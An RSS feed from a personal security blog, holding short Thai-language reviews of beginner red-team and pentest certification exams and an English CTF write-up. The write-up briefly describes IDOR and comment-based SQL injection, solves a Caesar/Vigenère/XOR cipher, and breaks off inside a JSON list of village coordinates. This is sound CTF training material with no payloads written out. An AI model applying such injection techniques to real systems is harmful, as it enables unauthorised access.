<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>ShoIsMyName</title><description>Sho</description><link>https://fuwari.vercel.app/</link><language>en</language><item><title>รีวิว API-RTA | Certified API Red Team Analyst Certificate</title><link>https://fuwari.vercel.app/posts/14api-rta/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/14api-rta/</guid><description>안녕하세요 I’m Sho. วันนี้มารีวิวเซอร์ค่ายบัง API-RTA ของค่าย CWL กันน!</description><pubDate>Wed, 24 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;รีวิว API-RTA | Certified API Red Team Analyst Certificate&lt;/h1&gt;
&lt;p&gt;안녕하세요 I’m Sho. วันนี้มารีวิวเซอร์ค่ายบัง API-RTA ของค่าย CWL กันน!&lt;/p&gt;
&lt;p&gt;https://labs.cyberwarfare.live/credential/achievement/6a3bcfb951cc04facb4de9ea&lt;/p&gt;
&lt;p&gt;การกดเริ่มสอบจะเหมือนของ Web-RTA เลย ใครที่ไม่รู้สามารถไปอ่านได้ที่ blog ของผมเลยเด้อ&lt;/p&gt;
&lt;p&gt;https://medium.com/@shoismyname/รีวิว-web-rta-certified-web-red-team-analyst-certificate-cwl-a7d6564a73a0&lt;/p&gt;
&lt;p&gt;คือกด Labs Access = กด Exam มีเวลาให้เราทำ 30 วัน&lt;/p&gt;
&lt;p&gt;รีวิวเรื่องเนื้อหาคอร์สเรียนที่แถมมากันก่อน ผมบอกไว้ก่อนว่าสำคัญมากๆ เพราะเนื้อหามัน related กับข้อสอบของเรา (ก็ไม่ทั้งหมด แต่คู่ควรแก่การเรียน)&lt;/p&gt;
&lt;p&gt;ต่อไปเป็นเรื่องสยองที่ผมเจอในข้อสอบ มาจากความสะเพร่าของผมเอง
ผมกดเริ่มวันที่ 22/06/2026 และได้เกือบครบทุกอัน เหลือแค่หาคำตอบอันสุดท้าย&lt;/p&gt;
&lt;p&gt;แต่ประเด็นคือผมลองส่ง request ที่ตำแหน่ง A ปรากฏว่า NO RESPONSE ผมเลยคิดว่า “ตำแหน่ง A ไม่น่าใช่คำตอบของเรา” และซึ่งผมก็หาต่อสักพักนึง ประมาณ 2 ชม.แล้วนอน วันต่อมาไปกินข้าวกับเพื่อน กลับดึกมากๆ ทำได้อีก 2 ชม. แต่ก็ไม่เจอสิ่งที่ต้องการ&lt;/p&gt;
&lt;p&gt;วันต่อมา 24/06/2026 ตัดสินใจลองกลับไปลองดูที่ตำแหน่ง A อีกรอบปรากฏว่าได้ผล 💔💔💔&lt;/p&gt;
&lt;p&gt;เลยเป็นอีกบทเรียนที่คิดว่าคุ้มค่ามากๆ และอยากฝากเรื่องสยองให้คนที่อยากสอบได้รู้ 5555555&lt;/p&gt;
&lt;p&gt;ถามว่าข้อสอบนี้ยากมั้ย? ผมบอกเลยว่าง่าย (ไม่นับเรื่องที่ติดลมตำแหน่ง A นะ555555)&lt;/p&gt;
&lt;p&gt;สุดท้ายนี้ใครที่อยากลองสอบหรืออยากสอบถามอะไรก็ทักมาได้ ผมไม่กัด555&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:684/format:webp/0*0bY36jTfEsScQD64.jpg&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:754/format:webp/0*ocqH5xpxdE3svV9Y.jpg&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:566/format:webp/0*L2AtjeBvHRThy7V9.jpg&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>รีวิว Web-RTA | Certified Web Red Team Analyst Certificate (CWL)</title><link>https://fuwari.vercel.app/posts/13web-rta/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/13web-rta/</guid><description>Hello, I’m “SHO” วันนี้ผมจะมารีวิวการสอบ cert Web-RTA กันนะครับ</description><pubDate>Mon, 22 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;รีวิว Web-RTA | &lt;strong&gt;Certified Web Red Team Analyst Certificate (CWL)&lt;/strong&gt;&lt;/h1&gt;
&lt;p&gt;Hello, I’m “SHO” วันนี้ผมจะมารีวิวการสอบ cert Web-RTA กันนะครับ&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://labs.cyberwarfare.live/credential/achievement/6a38e848c062f334ce456dfa&quot;&gt;https://labs.cyberwarfare.live/credential/achievement/6a38e848c062f334ce456dfa&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;โดยการสอบจะให้เรากดเริ่ม Lab Access 30 days ซึ่งจะมี 2 ip (public ip-address) ซึ่งสามารถเข้าได้เลยโดยไม่ต้องใช้ VPN&lt;/p&gt;
&lt;p&gt;การกดเริ่มสอบจะแตกต่างจาก crta โดย crta เวลากดเริ่ม เราจะต้องกด EXAM &amp;amp; start แต่ของ Web-RTA จะต้องกด Start Labs ซึ่งผมก็งงเหมือนกัน&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ตอนแรกนึกว่าต้องให้ทำ Labs ก่อนถึงกดสอบ Exam ได้ ซึ่งก็ทำเสร็จในวันที่กดเริ่มวันนั้นๆเลย555555555555
ทำ Labs เสร็จคือได้ cert เลย&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;โดยจะมีทั้งหมด 16 ข้อ ซึ่งเราต้องหาคำตอบตามคำถามที่เขาถาม (ไม่ได้อยู่รูปแบบ flag format เสมอไป)&lt;/p&gt;
&lt;p&gt;สำหรับใครที่อยากลองสอบแต่ยังไม่กล้า หรือมีอะไรที่สงสัยสามารถทักผมมาได้เลย ยินดีมากๆ&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1332/format:webp/0*8FRoAf9XYE96TMKc.jpg&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>รีวิว CRTA | Certified Red Team Analyst</title><link>https://fuwari.vercel.app/posts/12crta/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/12crta/</guid><description>Hello, I’am Sho. วันนี้ผมจะมารีวิว Certificate | CRTA ที่ผมสอบพร้อมกับความรู้ AD ที่เรียนมา 1 สัปดาห์ 5555555555Testing Apprentice)</description><pubDate>Sat, 06 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;รีวิว CRTA | Certified Red Team Analyst&lt;/h1&gt;
&lt;p&gt;Hello, I’am Sho. วันนี้ผมจะมารีวิว Certificate | CRTA ที่ผมสอบพร้อมกับความรู้ AD ที่เรียนมา 1 สัปดาห์ 5555555555&lt;/p&gt;
&lt;h2&gt;[Certified Red Team Analyst (CRTA) - Watcharanon Khotthan&lt;/h2&gt;
&lt;h3&gt;Got a Certificate from CyberWarFare Labs&lt;/h3&gt;
&lt;p&gt;https://labs.cyberwarfare.live/credential/achievement/6a24960d0a96d50ef30cae0a&lt;/p&gt;
&lt;p&gt;อธิบายก่อนว่าเซอร์ตัวนี้จะเกี่ยวกับ active directory โดยที่ผมสอบจะเป็น version 2 คือจะให้เราตอบคำถามของมันเป็น choiceๆ ไป คล้ายกับ HTB แบบ Guide mode&lt;/p&gt;
&lt;p&gt;น่าเสียดายที่ผมไม่ทันราคา $9 แต่ก็ไม่เป็นไร ผมได้มาอีกทีตอนมันลด $19&lt;/p&gt;
&lt;p&gt;ข้อสอบจะมีเวลาให้เราทำ 6 ชม. ผมไม่แน่ใจว่าบอกจำนวน choice ได้มั้ยนะ&lt;/p&gt;
&lt;p&gt;ตอนเราซื้อ Exam นี้มา เขาจะแถม course เรามาด้วย และ Lab ที่เราสามารถ Access ได้ 30 วัน (เราสามารถกดเริ่มวันไหนก็ได้ในระยะเวลาสอบ ต้องสอบภายใน1ปีหลังจากสมัคร exam)&lt;/p&gt;
&lt;h3&gt;การเตรียมตัว:&lt;/h3&gt;
&lt;p&gt;ต้องท้าวความก่อนว่า ผมเป็นคนที่เล่นแต่เครื่อง linux ไม่ค่อยได้เล่น window เลย เลยเป็นสาเหตุที่ผมยังใหม่กับ Active directory&lt;/p&gt;
&lt;p&gt;(เรียน AD ได้สัปดาห์เดียวแล้วลุยเลย555555)&lt;/p&gt;
&lt;p&gt;ผมได้ทำความคุ้นชินกับเครื่อง window ใน htb box ชื่อ “fluffy” แล้วก็มาเล่น Lab ของ crta (กดเริ่ม lab ในวันสอบ แล้วก็สอบในวันนั้น555555)&lt;/p&gt;
&lt;p&gt;ลืมบอกเลยว่ามันมี lab แค่อันเดียวนะ ถ้าทำไม่ได้เขาก็มี writeup ให้เราอ่าน&lt;/p&gt;
&lt;h3&gt;การสอบ:&lt;/h3&gt;
&lt;p&gt;ตอนกดเริ่มสอบ เขาจะนับถอยหลัง 3 ชม. ให้เราเตรียมตัว ซึ่งผมกดไปตอน 4 ทุ่มกว่าๆ ข้อสอบเริ่มตี 1&lt;/p&gt;
&lt;p&gt;สิ่งสำคัญในการสอบที่ผมคิดว่ามีประโยชน์สุดก็คือการ Enumerate พวก credential จะซ่อนตามจุดต่างๆ (สปอยเยอะไม่ได้ กลัวๆ)&lt;/p&gt;
&lt;p&gt;ส่วนตอนเข้าเครื่อง AD อันนี้จะง่ายมากๆ ง่ายขนาดที่คิดว่า “นี่ใช่ active directory ที่เราเรียนมาใช่มั้ย”&lt;/p&gt;
&lt;p&gt;ถ้าจะให้บอกว่าอันไหนยากก็คือ การตอบคำถาม55555 รู้สึกว่าบางอันแอบกำกวมนะ&lt;/p&gt;
&lt;p&gt;เช่นๆ “path ไหนใน web มี credential” ถ้าให้ตอบมันก็เยอะนะ5555555 แต่พอตอบเข้าให้จริงก็ผิด แต่ไปๆมาๆก็ถูก&lt;/p&gt;
&lt;p&gt;รองลงมาก็เรื่องการ enum&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ถามว่ายากมั้ย? ไม่ค่อยนะ HTB ยังยากกว่า55555&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;ต้องขอบคุณเพื่อนผมที่เข้ามาช่วยเหลือ มีหลายจุดที่ผมเจอแล้วเผลอมองข้าม แล้วก็ได้เพื่อนคนนี้มาช่วย Pond Thanaphon (NullByte)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:530/format:webp/0*0NPvX3AOkzMA60-Q.jpg&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:530/format:webp/0*OtJPQsC7s5hKIQhx.jpg&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:942/format:webp/0*z-Gcrz6jBoZEqG8i.jpg&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Thank you for reading kub.&lt;/p&gt;
</content:encoded></item><item><title>รีวิว Certificate kWAPTA | KnightSquad Academy</title><link>https://fuwari.vercel.app/posts/11kwapta/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/11kwapta/</guid><description>สวัสดีครับผมโช วันนี้ผมจะมารีวิวเซอร์ kWAPTA ของค่าย KnightSquad Academy กันนะครับ (Certified Web App Penetration Testing Apprentice)</description><pubDate>Sun, 31 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;รีวิว Certificate kWAPTA | KnightSquad Academy&lt;/h1&gt;
&lt;p&gt;สวัสดีครับผมโช วันนี้ผมจะมารีวิวเซอร์ kWAPTA ของค่าย KnightSquad Academy กันนะครับ (Certified Web App Penetration Testing Apprentice)&lt;/p&gt;
&lt;p&gt;https://credential.knightsquad.academy/KSA-UF32Z8SH3005&lt;/p&gt;
&lt;p&gt;ตอนสอบเขาจะให้เวลาเรา 2 ชม. มีทั้งหมด 9 ข้อ และ 2 attempts&lt;/p&gt;
&lt;p&gt;โดยโจทย์จะให้เว็บเรามา แล้วเราต้อง pentest เว็บทั่วๆไป ใช้ความรู้ web pentest ปกติเลย อันนี้ง่ายๆ&lt;/p&gt;
&lt;p&gt;ใช้แค่ Burp-suite ก็เพียงพอแล้ว&lt;/p&gt;
&lt;p&gt;สำหรับคนที่อยากลองสอบ แต่ไม่มั่นใจในเนื้อหา แนะนำเรียนที่ PortSwigger ก็เพียงพอแล้วครับ (ใช้แค่บางเนื้อหา5555)&lt;/p&gt;
&lt;p&gt;โดยรวมอันนี้ง่ายๆครับ เหมาะกับมือใหม่สุดๆ&lt;/p&gt;
&lt;p&gt;สิ่งที่สำคัญในการทำโจทย์คือ “ดูให้ดีๆ เช็คให้ละเอียด” เพราะผมก็มองพลาดตรง url นึงเหมือนกัน&lt;/p&gt;
&lt;p&gt;สำหรับใครที่อยากสอบถามอะไรเพิ่มเติม สามารถทักมาได้ ผมยินดีมากๆ&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/0*BV0vmKwlMeFQF2js.jpg&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>รีวิว Certificate kAPIPTA | KnightSquad Academy</title><link>https://fuwari.vercel.app/posts/10kapipta/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/10kapipta/</guid><description>สวัสดีครับผมโช วันนี้ผมจะมารีวิวเซอร์ kAPIPTA ของค่าย KnightSquad Academy กันนะครับ (Certified API Penetration Testing Apprentice)</description><pubDate>Sat, 23 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;รีวิว Certificate kAPIPTA | KnightSquad Academy&lt;/h1&gt;
&lt;p&gt;สวัสดีครับผมโช วันนี้ผมจะมารีวิวเซอร์ kAPIPTA ของค่าย KnightSquad Academy กันนะครับ (Certified API Penetration Testing Apprentice)&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://credential.knightsquad.academy/KSA-Q3J7WE3L2205&quot;&gt;https://credential.knightsquad.academy/KSA-Q3J7WE3L2205&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;เป็นการสอบเซอร์ใบแรกของผมเลย ดีใจมากๆ&lt;/p&gt;
&lt;p&gt;การสอบจะเป็นรูปแบบเอา flag มาตอบ มีทั้งหมด 5 ข้อ เวลา 2.5 ชั่วโมง (150 นาที)&lt;/p&gt;
&lt;p&gt;โดยโจทย์ก็จะให้ ip นึงเรามา จะเป็นเว็บเว็บนึง ให้เราทำการหา flag ตาม objective ของแต่ละโจทย์ ซึ่งมันก็จะซ่อนตามจุดต่างๆ หรือบางอันก็จะซ่อนตรงจุดที่เราไม่คาดคิดเหมือนกัน5555 ซึ่งผมคือผู้ประสบภัยอันดับที่ 1&lt;/p&gt;
&lt;p&gt;โดยเกณฑ์การผ่านจะอยู่ที่ 75% ถ้าผ่านด้วยคะแนน 85% up จะถือว่าผ่านแบบ miral และการสอบมี 2 attempt คือพลาดได้ 1 รอบ ซึ่งผมก็พลาด5555&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;สอบรอบ 1 ได้ 2/5&lt;/li&gt;
&lt;li&gt;สอบรอบ 2 ได้ 3/5 (โกรธ flag อยู่ข้างหน้าแต่มองไม่เห็น5555)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;รอบ 2 ผมเกือบจะผ่าน แต่ไม่ผ่านเพราะมองไม่เห็น flag (มันอยู่ต่อหน้าผมเลย55555) ทำให้ผมได้มาสมัครอีกรอบ โดยครั้งนี้ได้คำแนะนำต่างๆจากพี่ทีม CyberTeam และพี่แบล็ค Sabastiaz ผู้ให้คำแนะนำและช่วยเหลือ&lt;/p&gt;
&lt;p&gt;และสอบรอบที่ 3 ผมก็ผ่านพร้อมคะแนน 4/5 🎉&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;บทเรียน&lt;/strong&gt;ที่ได้จากเซอร์ตัวนี้คือ Enumeration คือสิ่งสำคัญ บาง flag จะซ่อนตามจุดที่เราไม่คาดคิด อย่าคิดมากเพราะ flag อาจเจอในจุดที่ง่ายๆหรือที่ที่เราไม่เคยคิดว่ามันจะอยู่ตรงๆนั้น อ่าน source-code ให้ดีๆ&lt;/p&gt;
&lt;p&gt;สุดท้ายนี้ผมขอขอบคุณพี่ทีม (CyberTeam) ที่ให้คำแนะนำกับผม และขอบคุณพี่แบล็ค (Sabastiaz) ที่ให้ความช่วยเหลือเรื่องต่างๆครับ&lt;/p&gt;
&lt;p&gt;และใครที่จะสอบหรืออยากสอบถามอะไรก็ทักมาได้นะครับ ยินดีมากๆ&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/0*NI_lo9OKtB3ufD6g.jpg&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Hack for a Change CTF | writeup</title><link>https://fuwari.vercel.app/posts/9hackforachange/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/9hackforachange/</guid><description>Hello I’m Sho. I found this ctf on CTFtime. Me &amp; teammate register this ctf before this event start 8 hours. LOL</description><pubDate>Sat, 23 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Hack for a Change CTF | writeup&lt;/h1&gt;
&lt;p&gt;Hello I’m Sho. I found this ctf on CTFtime. Me &amp;amp; teammate register this ctf before this event start 8 hours. LOL&lt;/p&gt;
&lt;p&gt;This is my first writeup written in English, so my English is not very good yet. Sorry about that, and I hope you still enjoy reading it.&lt;/p&gt;
&lt;h3&gt;so let’s start it!&lt;/h3&gt;
&lt;h3&gt;📌Microfinance IDOR&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*Ml4fvoxds2Kyg_G1UrTbzw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;this one is very easy. the answer is 3 ( I just did a little manual and got proof code LOL)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*_iLP4iP4p-xHvy8yg2FPNw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;📌Slum Survey Photo&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*TeEXElgOSQiATzBXFBCeqA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I though I’d need advanced tools to find the flag, but I didn’t. just “strings”&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*D6nCbcFrLKgbYqgfQozRew.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;📌WelfareNet Admin&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*esFmiVeEXeH6H5VUYJHtpw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This challenge is about sql injection. There is no blacklist filtering, so it is just a simple sql injection&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*tqz3TGMKCl-v_UHT0bw38w.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;use only comments to ensure that query contains only one condition&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*plCBGqtpLSyjPCYppOePlQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*R3wIuTyYeUvlnXIbcUberw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;📌Walfare Payments PCAP&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*jGn1uWUhFQy61zD4V1008g.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;no need necessary to use advance tool, and it uses the same method as “Slum Survey Photo”&lt;/p&gt;
&lt;p&gt;just “strings” it LOL&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*7EASG5KCUEP06_uo-8N-nA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*TtbjFuYU3vTPKPDhGKp-hQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;📌Poverty Action Cipher&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*uBaomT0CgGeoJ3l5wlymZQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;this quite pretty hard for me. cause we need to do some research a bit word in &lt;a href=&quot;https://sdgs.un.org/2030agenda&quot;&gt;2030agenda&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*_BmJMKHK8FUTuA7BdtmvpQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;after load puzzle it will show the cipher that contain a 3 layer of encryption&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;from now on, I will use the word “state” insted of “layer”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;State 1: I use Caesar cipher for decrypt&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*uJTot3SvSicwKmf5NNnbzg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;“ ENDING POVERTY IN ALL ITS FORMS EVERYWHERE REMAINS THE GREATEST GLOBAL CHALLENGE FACING THE WORLD TODAY AND AN INDISPENSABLE REQUIREMENT FOR SUSTAINABLE DEVELOPMENT.”&lt;/p&gt;
&lt;p&gt;🤔&lt;/p&gt;
&lt;p&gt;State 2: I use Vigenere cipher with key “dignity”&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*3pA_jBeSqGlfJW-S-w7PXA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;State 3: this is a hard part for me&lt;/p&gt;
&lt;p&gt;In the instruction said “encoded as hex. Repeating-byte XOR with an 8-byte key. The plaintext is a declaration about the SDG 1 mandate.”&lt;/p&gt;
&lt;p&gt;the question is what is the key?&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Guess plaintext&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;go to this website &lt;a href=&quot;https://sdgs.un.org/2030agenda&quot;&gt;2030agenda&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;the hint of state 3 say: “Stage 3 verb appears in the cleartext you produced. Hash it, take the first eight bytes, XOR.”&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*ieeQ16-MqT0kj-u5deeIPA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;so I guess “eradicate”&lt;/p&gt;
&lt;p&gt;get first 8 letter “eradicat” then convert to hex
&lt;strong&gt;45 52 41 44 49 43 41 54&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;get first 8 bytes of ciphertext “1a295f35bcafb…”
&lt;strong&gt;1a 29 5f 35 bc af b4 fd&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;note:&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;plaintext &lt;strong&gt;xor&lt;/strong&gt; key = cipher&lt;/p&gt;
&lt;p&gt;cipher &lt;strong&gt;xor&lt;/strong&gt; plaintext = key&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*SFsHgc-k90jAqELo6-oZKw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;so the key is &lt;strong&gt;5f 7b 1e 71 f5 ec f5 a9&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;now go back and follow the instructions&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*wUu-7tymzU1UIHQVdHcGoA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*Ex5DeJeTAjlY2XGWJkmiBg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*TtbjFuYU3vTPKPDhGKp-hQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;📌Cash Aid Routing&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*5-VJ0p1kGrZ2Sebla_RZ5A.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*9m3D_cjv2RrC_azIBxvDRA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;ok&quot;: true,
  &quot;villages&quot;: [    {
      &quot;id&quot;: 0,
      &quot;is_depot&quot;: true,
      &quot;x&quot;: 90.79,
      &quot;y&quot;: 17.02,
      &quot;demand_usd&quot;: 0
    },
    {
      &quot;id&quot;: 1,
      &quot;is_depot&quot;: false,
      &quot;x&quot;: 81.19,
      &quot;y&quot;: 47.28,
      &quot;demand_usd&quot;: 114
    },
    {
      &quot;id&quot;: 2,
      &quot;is_depot&quot;: false,
      &quot;x&quot;: 47.21,
      &quot;y&quot;: 10.23,
      &quot;demand_usd&quot;: 209
    },
    {
      &quot;id&quot;: 3,
      &quot;is_depot&quot;: false,
      &quot;x&quot;: 92.02,
      &quot;y&quot;: 23.29,
      &quot;demand_usd&quot;: 398
    },
    {
      &quot;id&quot;: 4,
      &quot;is_depot&quot;: false,
      &quot;x&quot;: 60.14,
      &quot;y&quot;: 89.34,
      &quot;demand_usd&quot;: 81
    },
    {
      &quot;id&quot;: 5,
      &quot;is_depot&quot;: false,
      &quot;x&quot;: 30.54,
      &quot;y&quot;: 55.09,
      &quot;demand_usd&quot;: 277
    },
    {
      &quot;id&quot;: 6,
      &quot;is_depot&quot;: false,
      &quot;x&quot;: 82.55,
      &quot;y&quot;: 6.11,
      &quot;demand_usd&quot;: 138
    },
    {
      &quot;id&quot;: 7,
      &quot;is_depot&quot;: false,
      &quot;x&quot;: 85.03,
      &quot;y&quot;: 67.2,
      &quot;demand_usd&quot;: 71
    },
    {
      &quot;id&quot;: 8,
      &quot;is_depot&quot;: false,
      &quot;x&quot;: 89.2,
      &quot;y&quot;: 40.66,
      &quot;demand_usd&quot;: 113
    },
    {
      &quot;id&quot;: 9,
      &quot;is_depot&quot;: false,
      &quot;x&quot;: 71.91,
      &quot;y&quot;: 72.29,
      &quot;demand_usd&quot;: 318
    },
    {
      &quot;id&quot;: 10,
      &quot;is_depot&quot;: false,
      &quot;x&quot;: 85.36,
      &quot;y&quot;: 20.85,
      &quot;demand_usd&quot;: 83
    },
    {
      &quot;id&quot;: 11,
      &quot;is_depot&quot;: false,
      &quot;x&quot;: 23.14,
      &quot;y&quot;: 45.97,
      &quot;demand_usd&quot;: 191
    },
    {
      &quot;id&quot;: 12,
      &quot;is_depot&quot;: false,
      &quot;x&quot;: 46.91,
      &quot;y&quot;: 13.36,
      &quot;demand_usd&quot;: 59
    },
    {
      &quot;id&quot;: 13,
      &quot;is_depot&quot;: false,
      &quot;x&quot;: 42.61,
      &quot;y&quot;: 23.76,
      &quot;demand_usd&quot;: 147
    },
    {
      &quot;id&quot;: 14,
      &quot;is_depot&quot;: false,
      &quot;x&quot;: 27.02,
      &quot;y&quot;: 72.79,
      &quot;demand_usd&quot;: 169
    },
    {
      &quot;id&quot;: 15,
      &quot;is_depot&quot;: false,
      &quot;x&quot;: 10.75,
      &quot;y&quot;: 42.54,
      &quot;demand_usd&quot;: 271
    },
    {
      &quot;id&quot;: 16,
      &quot;is_depot&quot;: false,
      &quot;x&quot;: 48.28,
      &quot;y&quot;: 61.14,
      &quot;demand_usd&quot;: 134
    },
    {
      &quot;id&quot;: 17,
      &quot;is_depot&quot;: false,
      &quot;x&quot;: 64.04,
      &quot;y&quot;: 43.33,
      &quot;demand_usd&quot;: 382
    },
    {
      &quot;id&quot;: 18,
      &quot;is_depot&quot;: false,
      &quot;x&quot;: 30.99,
      &quot;y&quot;: 30.52,
      &quot;demand_usd&quot;: 67
    },
    {
      &quot;id&quot;: 19,
      &quot;is_depot&quot;: false,
      &quot;x&quot;: 39.44,
      &quot;y&quot;: 29.66,
      &quot;demand_usd&quot;: 321
    },
    {
      &quot;id&quot;: 20,
      &quot;is_depot&quot;: false,
      &quot;x&quot;: 24.75,
      &quot;y&quot;: 64.1,
      &quot;demand_usd&quot;: 361
    },
    {
      &quot;id&quot;: 21,
      &quot;is_depot&quot;: false,
      &quot;x&quot;: 42.33,
      &quot;y&quot;: 51.71,
      &quot;demand_usd&quot;: 165
    },
    {
      &quot;id&quot;: 22,
      &quot;is_depot&quot;: false,
      &quot;x&quot;: 8.86,
      &quot;y&quot;: 81.15,
      &quot;demand_usd&quot;: 196
    },
    {
      &quot;id&quot;: 23,
      &quot;is_depot&quot;: false,
      &quot;x&quot;: 50.41,
      &quot;y&quot;: 87.36,
